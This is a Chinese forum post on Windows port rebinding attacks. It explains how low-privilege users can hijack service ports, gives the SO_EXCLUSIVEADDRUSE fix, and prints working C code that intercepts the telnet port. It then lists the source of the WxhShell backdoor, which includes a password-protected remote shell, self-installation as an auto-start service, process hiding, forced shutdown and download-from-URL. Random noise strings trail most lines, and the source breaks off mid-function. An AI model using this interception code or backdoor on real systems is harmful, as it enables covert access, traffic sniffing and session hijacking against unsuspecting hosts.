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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: NK%Ok  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]Z [0xs  
iD>H{1 h  
  saddr.sin_family = AF_INET; <J.q[fd1*  
/?}2OCq  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); /9?yw!  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); yFTN/MFt  
]Z*B17//  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 <s'0<e!./t  
zV"'-iP  
  这意味着什么?意味着可以进行如下的攻击: <." @H<-`*  
&@D\4b,?nm  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 z<9Llew^e  
'7.4!I0'  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ( F4c0  
v:NQrN  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 g)IW9q2  
UM^~a$t  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  8<=sUO  
0*AXd=)"*  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 9 {IDw   
q&LCMnv"P  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ylQ9Su>o  
A}_pJH  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 p xW*kS  
R pT7Nr  
  #include @Z<Z//^k  
  #include | S'mF6Y  
  #include vr_Z0]4`C9  
  #include    ?R4%z2rcW  
  DWORD WINAPI ClientThread(LPVOID lpParam);   6<f(Zv? I  
  int main() @\a~5CLN  
  { U+!&~C^y  
  WORD wVersionRequested; WDt6{5T  
  DWORD ret; *0<)PJ T  
  WSADATA wsaData; F]s:`4  
  BOOL val; x1}Ono3"T  
  SOCKADDR_IN saddr; Uyd'uC  
  SOCKADDR_IN scaddr; pB7^l|\]  
  int err; ,}wFQ9*|W  
  SOCKET s; ^S!;snhn  
  SOCKET sc; xRq A^Ad  
  int caddsize; MXDUKh7v3  
  HANDLE mt; .sKfwcYu4  
  DWORD tid;   /+m2|Ij(  
  wVersionRequested = MAKEWORD( 2, 2 ); pv"s!q&  
  err = WSAStartup( wVersionRequested, &wsaData ); |AS<I4+&  
  if ( err != 0 ) { f{P?|8u  
  printf("error!WSAStartup failed!\n"); ]oC"gWDYu  
  return -1; ! w;/J^  
  } [c v!YE  
  saddr.sin_family = AF_INET; NB-%Tp*d  
   8fP TxvXqL  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 >oC{YYcK  
2W#^^4^+  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); SnM^T(gtS3  
  saddr.sin_port = htons(23); @7{.err!  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  , YlS  
  { aDu[iaZ  
  printf("error!socket failed!\n"); n98sY+$-z  
  return -1; ~Bi%8G  
  } YWL7.Y>%5  
  val = TRUE; 8i)9ho<  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 z|\n^ZK=  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) #er% q:  
  { ^1_CS*  
  printf("error!setsockopt failed!\n"); [\  &2&  
  return -1; lR]FQnZ  
  } {.J<^V  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Sf@xP.d  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 *eI{g  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Oz)/KZ  
,qNbo 11  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) VmRfnH"  
  { ?-8DS5  
  ret=GetLastError(); XWq"_$&LF  
  printf("error!bind failed!\n"); f>3)}9?xc}  
  return -1; vG\ b `  
  } pWP1$;8   
  listen(s,2); ln8es{q  
  while(1) 9~jS_Y)"  
  { q+cD  
  caddsize = sizeof(scaddr); (!YJ:,!so  
  //接受连接请求 ef/43+F^x  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ($W%&(:/  
  if(sc!=INVALID_SOCKET) ^Y5I OX:  
  { kp#XpcS  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); (]PH2<3t  
  if(mt==NULL) 9}Ge@a<j  
  { s)KlKh  
  printf("Thread Creat Failed!\n"); 4t3>`x 7  
  break; ^YB2E*  
  } }Z< Sca7  
  } (@;^uVJP  
  CloseHandle(mt); @]p {%"$  
  } =K}T; c  
  closesocket(s); .?LRt  
  WSACleanup(); k!'+7K.  
  return 0; MU\Pggs  
  }   >y(loMl  
  DWORD WINAPI ClientThread(LPVOID lpParam) 1b2  
  { ,+I]\ZeO  
  SOCKET ss = (SOCKET)lpParam; %s^1de  
  SOCKET sc; n$9Xj@  +  
  unsigned char buf[4096]; E&5S[n9{3  
  SOCKADDR_IN saddr; o$V0(1N  
  long num; 'f.k'2T  
  DWORD val; C ,|9VH  
  DWORD ret; ?<Lm58p8  
  //如果是隐藏端口应用的话,可以在此处加一些判断 w.#z>4#3-  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   *'\HG  
  saddr.sin_family = AF_INET; G?61P[j7  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Dsb Tx.vA  
  saddr.sin_port = htons(23); c27(en(  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 69apTx  
  { ck3+A/ !z  
  printf("error!socket failed!\n"); (U 4n} J  
  return -1; "S*@._   
  } "fUNrhCx  
  val = 100; xq=!1>  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .yFO] r1aL  
  { KWAd~8,mk  
  ret = GetLastError(); oe0YxSauL  
  return -1; Z:es7<#y  
  } XXA]ukj;r  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `AvK=]  
  { G6G-qqXy6  
  ret = GetLastError(); sLXM$SMBh  
  return -1; F w t  
  } $)BPtGMGo  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) rK`^A  
  { \7pEn  
  printf("error!socket connect failed!\n"); ^:}C,lIrG  
  closesocket(sc); OE Xa}K#  
  closesocket(ss); rm$dv%q  
  return -1; 8eYEi  
  } =tP^vgfQ  
  while(1)  + #E?)  
  { 7J ?s&x  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 B([-GpZt[  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 'J5F+, \Ka  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 K2e *AE*  
  num = recv(ss,buf,4096,0); (n7{?`Yid  
  if(num>0) #g0N/  
  send(sc,buf,num,0);  Fq5u%S  
  else if(num==0) ,^Q~w b!{  
  break; %lGOExV%  
  num = recv(sc,buf,4096,0); -$I30.#  
  if(num>0) svb7-.!  
  send(ss,buf,num,0); X(rXRP#  
  else if(num==0) 9F?-zn;2s  
  break; :@ VCKq!  
  } ,S(s  
  closesocket(ss); >goHQ30:  
  closesocket(sc); 5?? }9  
  return 0 ; n;$u%2t2  
  } yWE\)]9  
D .LR-Z  
[@8po-()L  
========================================================== kWy@wPqms  
MPy>< J  
下边附上一个代码,,WXhSHELL `Syfl^9B  
1 A0BM  
========================================================== ~J> ;l s1  
BHYguS^qz  
#include "stdafx.h" }Nwp{["}]L  
%7w8M{I R3  
#include <stdio.h> yjH'<  
#include <string.h> 0Q?%B6g$m[  
#include <windows.h> jYFmL_{  
#include <winsock2.h> t u{~:Z(  
#include <winsvc.h> #s15AyKz5  
#include <urlmon.h> 3 H5  
b4bd^nrqV  
#pragma comment (lib, "Ws2_32.lib") ?Tu=-ppw  
#pragma comment (lib, "urlmon.lib") =T&<z_L  
5U4V_*V  
#define MAX_USER   100 // 最大客户端连接数 9y;}B y  
#define BUF_SOCK   200 // sock buffer EzjK{v">  
#define KEY_BUFF   255 // 输入 buffer '@h  
1_v\G   
#define REBOOT     0   // 重启 _z{9V7n4  
#define SHUTDOWN   1   // 关机 vNuws_  
ITTEUw~+o  
#define DEF_PORT   5000 // 监听端口 @xa$two  
W6i9mER-  
#define REG_LEN     16   // 注册表键长度 !G0Mg; ,  
#define SVC_LEN     80   // NT服务名长度 VwZ~ntk  
VNIl%9:-l  
// 从dll定义API Q^nf D  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?wCX:? g  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); F ]Zg  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); y Rl   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6 R})KIG  
U`HY eJ  
// wxhshell配置信息 !6RDq`  
struct WSCFG { 3&AJN#c  
  int ws_port;         // 监听端口 !K}W.yv,  
  char ws_passstr[REG_LEN]; // 口令 `BG>%#  
  int ws_autoins;       // 安装标记, 1=yes 0=no %O"Whe  
  char ws_regname[REG_LEN]; // 注册表键名 ~ss6yQ$  
  char ws_svcname[REG_LEN]; // 服务名 g52)/HM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 OY:rcGc`t  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 BG?>)]6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -l[$+Kw1S  
int ws_downexe;       // 下载执行标记, 1=yes 0=no xS5 -m6/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]4 c+{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 cc_'Kv!  
~LV]cX2J(  
}; >dm9 YfQ  
ryh"/lu[B  
// default Wxhshell configuration oVn&L*H   
struct WSCFG wscfg={DEF_PORT, eA-oqolY  
    "xuhuanlingzhe", nK?S2/o#A  
    1, oQu>Qr{Zp  
    "Wxhshell", |Rkw/5  
    "Wxhshell", \y(3b#  
            "WxhShell Service", 7(h@5  
    "Wrsky Windows CmdShell Service", $ B&Zn Z?  
    "Please Input Your Password: ", EA8plQ~GtE  
  1, g)r{LxT#+  
  "http://www.wrsky.com/wxhshell.exe", =RRv& "2r  
  "Wxhshell.exe" t[>UAr1Vt  
    }; LPu *Lkx  
(PGw{_  
// 消息定义模块 M|%bxG^l  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; U0:*?uA.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; FjtS  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; k_wcol,W  
char *msg_ws_ext="\n\rExit."; 5 m-/N ?c  
char *msg_ws_end="\n\rQuit."; R<6y7?]bZ  
char *msg_ws_boot="\n\rReboot..."; Qg(;>ops  
char *msg_ws_poff="\n\rShutdown..."; yF.Gz`yi  
char *msg_ws_down="\n\rSave to "; Pvi2j&W84  
jI*@&3  
char *msg_ws_err="\n\rErr!"; 3x+=7Mg9  
char *msg_ws_ok="\n\rOK!"; 2sk7E'2(  
7_l Wr  
char ExeFile[MAX_PATH]; uyB2   
int nUser = 0; ]3f[v:JQ  
HANDLE handles[MAX_USER]; ]k7%p>c=B  
int OsIsNt; 7]T(=gg /  
")i)vXF'  
SERVICE_STATUS       serviceStatus; @_-,Q5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >Jx=k"Kv+  
GF% /q:9  
// 函数声明 W&|?8%"l]  
int Install(void); l9a81NF{s  
int Uninstall(void); 4aBVO%t  
int DownloadFile(char *sURL, SOCKET wsh); ppvlU H5;  
int Boot(int flag); Komdz/g  
void HideProc(void); }s<;YC  
int GetOsVer(void); z7`|N`$Z#s  
int Wxhshell(SOCKET wsl); NFEr ,n  
void TalkWithClient(void *cs); 9S}rTZkEq  
int CmdShell(SOCKET sock); `H$XO{w  
int StartFromService(void); :"!Z9l\@  
int StartWxhshell(LPSTR lpCmdLine); *#Ia8^z=p  
;)CN=J!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1 @t.J>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); O(8CrKYY  
u_9c>  
// 数据结构和表定义 7>O`UT<t4@  
SERVICE_TABLE_ENTRY DispatchTable[] = 8uLS7\,$z  
{ }kvix{  
{wscfg.ws_svcname, NTServiceMain}, $ [fqTh  
{NULL, NULL} l$9k:#\FD  
}; !0Nf`iCQ(  
i) X~L4gn  
// 自我安装 nf"#F@dk  
int Install(void) GEf=A.WAfw  
{ PN]hG,q*4O  
  char svExeFile[MAX_PATH]; X coPkW  
  HKEY key; 2!B|w8ar  
  strcpy(svExeFile,ExeFile); _1G/qHf^S  
&k}B66  
// 如果是win9x系统,修改注册表设为自启动 DAWF =p]  
if(!OsIsNt) { q 9xA.*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^#Q-?O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $G"\@YC<  
  RegCloseKey(key); "ckK{kS4~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wW\@^5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [ R+M .5  
  RegCloseKey(key); {zm8`  
  return 0; @U5gxK*  
    } 9]IZ3 fQX  
  } <af# C2`B  
} ,v8e7T  
else { SIrNZ^I  
7A(4`D J  
// 如果是NT以上系统,安装为系统服务 |au`ph5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2 >O[Y1  
if (schSCManager!=0) X0P +[.i  
{ 9Q s5e  
  SC_HANDLE schService = CreateService Bx|W#:3e  
  ( eQ/w Mr  
  schSCManager, #n|5ng|CJ  
  wscfg.ws_svcname, oydP}X  
  wscfg.ws_svcdisp, =&UE67eK,  
  SERVICE_ALL_ACCESS, JnK<:]LcK  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , qX-5/;n  
  SERVICE_AUTO_START, Ah7"qv'L\  
  SERVICE_ERROR_NORMAL, )?#K0o[<  
  svExeFile, l%GArH`  
  NULL, ~$T>,^K y  
  NULL, aQx6;PC  
  NULL, -%fj-Y7y  
  NULL, ]ASw%Lw)  
  NULL ^il$t]X5-  
  ); :h34mNU  
  if (schService!=0) v {HF}L  
  { zi6J|u  
  CloseServiceHandle(schService); 6z U  
  CloseServiceHandle(schSCManager); wQy~5+LE  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,%IP27bPW  
  strcat(svExeFile,wscfg.ws_svcname); "*X\'LPs=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { g{}<ptx]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8el6z2  
  RegCloseKey(key); ^z)De+,!4  
  return 0; \HzmhQb+m  
    } ~v2(sRJ  
  } Ep./->fOA  
  CloseServiceHandle(schSCManager); #?S"y:  
} A ~vx,|I  
} e Fz$h2*B  
BI)C\D3[  
return 1; C;JW \J~W  
} vPYHM2  
%4!^AA%  
// 自我卸载 #*CMf.OCh  
int Uninstall(void) 1 PdG1'  
{ 1DcBF@3sWG  
  HKEY key; 7"'PfP4c  
(jU_lsG  
if(!OsIsNt) { UwS7B~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Iga +8k  
  RegDeleteValue(key,wscfg.ws_regname); Y2l;NSWU  
  RegCloseKey(key); '62_q8:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =L#&`s@)_  
  RegDeleteValue(key,wscfg.ws_regname); tP! %(+V  
  RegCloseKey(key); 8493Sw  
  return 0; y-.{){uaD  
  } \v-I<"::  
} |A*4Fuc&  
} 7=?!B#hm !  
else { G5U?]& I8  
Ar >JQ@0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %zGv+H?  
if (schSCManager!=0) ~Oq _lM  
{ y$-@|M$GG  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ? eX$Wc{  
  if (schService!=0) I(R%j]LX&  
  { \)uA:v  
  if(DeleteService(schService)!=0) { 2=K|kp5  
  CloseServiceHandle(schService); Qm3F=*)d  
  CloseServiceHandle(schSCManager); d]sqj\Q57  
  return 0; nm<VcCc  
  } AzJ;E tR  
  CloseServiceHandle(schService); o[Qb/ 7  
  } GP4!t~"1  
  CloseServiceHandle(schSCManager); r?[[.zm"7  
} e'$[PF  
} qQ)1+^  
T$u'+* Xx  
return 1; xf;>o$oN0P  
} UJqh~s  
YL|)`m0-^5  
// 从指定url下载文件 084Us s  
int DownloadFile(char *sURL, SOCKET wsh) T<Xw[PEnP  
{ u4 es8"  
  HRESULT hr; oCkG  
char seps[]= "/"; ].J;8}  
char *token; Am@Ta "2  
char *file; !`Kg&t [&V  
char myURL[MAX_PATH]; Hm'fK$y(  
char myFILE[MAX_PATH]; "TaLvworb4  
*8,W$pe3  
strcpy(myURL,sURL); B`R@%US  
  token=strtok(myURL,seps); MQw}R7  
  while(token!=NULL) %+Nng<_U\T  
  { |k}L=oWE  
    file=token; Vv(buG  
  token=strtok(NULL,seps); n;:.UGl9.  
  } `!N}u  
? Pi|`W   
GetCurrentDirectory(MAX_PATH,myFILE); Z_bVCe{  
strcat(myFILE, "\\"); VS ECD;u4c  
strcat(myFILE, file); uZL,%pF3A  
  send(wsh,myFILE,strlen(myFILE),0); K!9K^h  
send(wsh,"...",3,0); /77cjesZ9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); S[$9_Jf  
  if(hr==S_OK) _PPC?k{z!  
return 0; I^f|U  
else ^cPVnl  
return 1; &S+*1<|`K  
z6J12tu  
} K!ogpd&X&  
$#n9C79Z@  
// 系统电源模块 RjviHd#DXn  
int Boot(int flag) oh$"?N7n1  
{ :^`j:B  
  HANDLE hToken; n6Uh%rO7S|  
  TOKEN_PRIVILEGES tkp; V#$QKn`;  
fgL"\d}  
  if(OsIsNt) { ,sc#l<v  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xV+\R/)x  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?K pDEH~\  
    tkp.PrivilegeCount = 1; 46)[F0,$r  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; C TG^lms  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); V2?{ebx`  
if(flag==REBOOT) { yc]_?S>9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "4WnDd 5"  
  return 0; +pT;; 9  
} Jxe5y3* (  
else { #y#TEw,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "zNS6I?rzE  
  return 0; 2"a%%fv  
} l]&A5tz3  
  } 3 $%#n*  
  else { w)S 4Xi=  
if(flag==REBOOT) { ZG H 7_K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) FLQke"6i0:  
  return 0; j}Svb1A  
} :kI[Pf!z  
else { X4:84  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) jbe:"S tw  
  return 0; JE:LA+ (  
} |*J;X<Vm  
} GjW(&p$&  
<`Fl Igo  
return 1; S6bYd`  
} p@Os  
@Yb8CB  
// win9x进程隐藏模块 ']2d^'TH  
void HideProc(void) ) C~#W  
{ Z)xcxSo  
: ^}!"4{  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Y{e,I-"{  
  if ( hKernel != NULL ) & ;5f/  
  { e^~dx}X  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9(HGe+R4o  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); AX+]Z$  
    FreeLibrary(hKernel); E%E`\mFD  
  } "&D0Sd@[?  
|wb_im  
return; H&*&n}vh5y  
} }T}c%p  
emJZ+:%  
// 获取操作系统版本 "dndhoMq  
int GetOsVer(void) !X"nN9k  
{ aDz% %%:r  
  OSVERSIONINFO winfo; +ah4 K(+3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); YSB> WBS-<  
  GetVersionEx(&winfo); 9({ 9r[U  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;6 d-+(@  
  return 1; )N^fSenFBn  
  else c{D<+XM  
  return 0; ]S?G]/k}  
} +7WpJ;C4  
p[WlcbBwT  
// 客户端句柄模块 ~yXDN4s  
int Wxhshell(SOCKET wsl) R=R]0  
{ U"@p3$2QW  
  SOCKET wsh; En-=z`j G  
  struct sockaddr_in client; Y=sv   
  DWORD myID; F\;l)  
UjunIKX+  
  while(nUser<MAX_USER) M^l%*QF[,q  
{ ueW/i  
  int nSize=sizeof(client); e]!`94f  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); s]=XAm"4  
  if(wsh==INVALID_SOCKET) return 1; ixM#|Yq  
gP8}d*W%b  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /P[u vO  
if(handles[nUser]==0) +  rN#  
  closesocket(wsh); \C;Yn6PK0  
else L*Ffic  
  nUser++; >W/mRv&  
  } j1Sjw6}GCH  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); w"M!**bP  
4M>]0%3.D  
  return 0; mrsN@(X0  
} 3\ )bg R:  
%|/\Qu  
// 关闭 socket ""V\hHdp  
void CloseIt(SOCKET wsh) :& $v.#  
{ I`@>v%0  
closesocket(wsh); H_Hr=_8}-  
nUser--; }|=Fnyj  
ExitThread(0); K43`$  
} S9b=?? M)  
rwwyYIlEg  
// 客户端请求句柄 'R$/Qt;uA  
void TalkWithClient(void *cs) 5A %TpJ  
{ k+@ :+ RL  
g:c?%J  
  SOCKET wsh=(SOCKET)cs; 9ygNJX'~  
  char pwd[SVC_LEN]; /NPx9cLW^  
  char cmd[KEY_BUFF]; ZW;Re5?DJ  
char chr[1]; M!VW/vdywL  
int i,j; <dS I"C<  
ij?]fXf:)y  
  while (nUser < MAX_USER) { gHL:XW^  
HuA4eJ(2  
if(wscfg.ws_passstr) { N1:)Z`r  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :=quCzG  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y.52`s6F  
  //ZeroMemory(pwd,KEY_BUFF); w1F)R^tU  
      i=0; |t$%kpp  
  while(i<SVC_LEN) { [8DPZU@  
 - sq= |  
  // 设置超时 bWCtRli}  
  fd_set FdRead; >"zN`  
  struct timeval TimeOut; &ML-\aSal  
  FD_ZERO(&FdRead); 0|\A5 eG  
  FD_SET(wsh,&FdRead); ~-yq,x  
  TimeOut.tv_sec=8; :9>U+)%  
  TimeOut.tv_usec=0; _lH:%E*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); PGTjOkx  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); se_Oi$VZ{  
o|s|Wm x>u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HXB & 6  
  pwd=chr[0]; /I`-  
  if(chr[0]==0xd || chr[0]==0xa) { k_OzkEM9!  
  pwd=0; `- 9p)@'8k  
  break; sw(|EZ7F  
  } 7Sycy#D  
  i++; );p:[=$71  
    } @C~gU@F  
i Hcy,PBD  
  // 如果是非法用户,关闭 socket \gir  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ; jJ%<  
} F'@[ b   
}f6_ 7W%5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *@ S+J$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2) Q/cH\g  
\VAS<?3  
while(1) { 2;SiH]HNS  
0n?^I>j  
  ZeroMemory(cmd,KEY_BUFF); +'g~3A-G  
-0*z"a9<p8  
      // 自动支持客户端 telnet标准   DL '{ rK  
  j=0; oHethk  
  while(j<KEY_BUFF) { ) @f6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SUoUXh^!w  
  cmd[j]=chr[0]; @ w,O1Xwj  
  if(chr[0]==0xa || chr[0]==0xd) { &X}i%etp^2  
  cmd[j]=0; N/B-u)?\:  
  break; O 0P4uq  
  } baR*4{]  
  j++; ?*f2P T?`  
    } 5W_Rg:J{P  
\q|<\~A  
  // 下载文件 Ch&2{ ng  
  if(strstr(cmd,"http://")) { ?ieC>cr  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); bqZ5GKUo  
  if(DownloadFile(cmd,wsh)) [_tBv" z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); mw${3j~&  
  else R6irL!akAd  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HAcC& s8  
  } ? C6t Yd  
  else { *b(nX,e  
Hh qNp U  
    switch(cmd[0]) { c38ENf  
   }}d,xI  
  // 帮助 WSx0o}  
  case '?': { { =IAS}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); E*UE?4FSw|  
    break; ]6?6 k4@  
  } @t#Ju1Y  
  // 安装 jH2_Ekgc;_  
  case 'i': { '!XVz$C  
    if(Install()) oMb@)7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kfs[*ku  
    else Uj)`(}r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zhC5%R &n/  
    break; SGLU7*sfd  
    } ,D{D QJ(B  
  // 卸载 -j}zr yG-  
  case 'r': { f;a55%3c  
    if(Uninstall()) Ob h@d|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /V E|FTs  
    else 89%#;C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5wm(gF_t  
    break; 6tBe,'*  
    } u'"]{.K>fb  
  // 显示 wxhshell 所在路径 = _/XFN  
  case 'p': { /G!M\teeF  
    char svExeFile[MAX_PATH]; 39Tlt~Psz  
    strcpy(svExeFile,"\n\r"); t`"pn <  
      strcat(svExeFile,ExeFile); c[4I> "w  
        send(wsh,svExeFile,strlen(svExeFile),0); +(8Z8]Jf  
    break;  D ~t  
    } *~jTE;J  
  // 重启 ,uCgC4EP  
  case 'b': { ;0:[X+"(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #HmZe98[%  
    if(Boot(REBOOT)) h9l 6AnbJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [|APMMYK1  
    else { C.?~D*Q  
    closesocket(wsh); l[b`4  
    ExitThread(0); A0gRX]  
    } )s>R~7  
    break; *f3? 0w  
    } u:%Ln_S  
  // 关机 ')KuLVE}S  
  case 'd': { tE;c>=>t  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ")eY{C  
    if(Boot(SHUTDOWN)) l !:kwF  
